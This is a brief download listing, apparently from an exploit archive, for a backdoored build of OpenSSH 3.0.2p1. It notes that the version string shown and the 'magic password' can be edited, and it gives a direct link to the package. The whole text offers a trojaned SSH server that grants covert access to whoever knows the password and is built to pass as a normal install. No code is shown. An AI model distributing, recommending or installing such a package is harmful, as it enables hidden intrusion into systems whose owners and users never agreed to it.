OpenSSH v3.0.2p1 backdoor. The version displayed and magic password is editable.
You can download it from the following link: https://packetstormsecurity.com/files/download/25884/openssh-3.0.2p1rk.tgz
Source: https://packetstormsecurity.com/files/25884/openssh-3.0.2p1rk.tgz.html